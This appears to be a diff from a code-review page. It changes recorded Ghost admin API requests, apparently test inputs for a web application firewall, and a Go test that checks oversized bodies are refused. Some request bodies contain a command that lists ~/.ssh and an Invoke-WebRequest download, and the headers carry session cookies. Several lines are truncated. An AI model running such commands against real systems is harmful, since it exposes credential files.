'.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
|||||||
@@ -93,10 +93,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||||
bytes.NewReader(make([]byte, tc.size))))
|
// of the body before it closes the connection. Closed with the rest
|
||||||
if got.status != http.StatusRequestEntityTooLarge {
|
// unread, the connection is reset while the visitor still sends.
|
||||||
t.Errorf("answered %+v, want 413", got)
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+announcedLength(tc.size)+
|
||||||
|
strings.Repeat("x", tc.size))
|
||||||
|
|
||||||
|
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||||
|
t.Errorf("status %d, want 413", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
|
|||||||
Reference in new issue
Block a user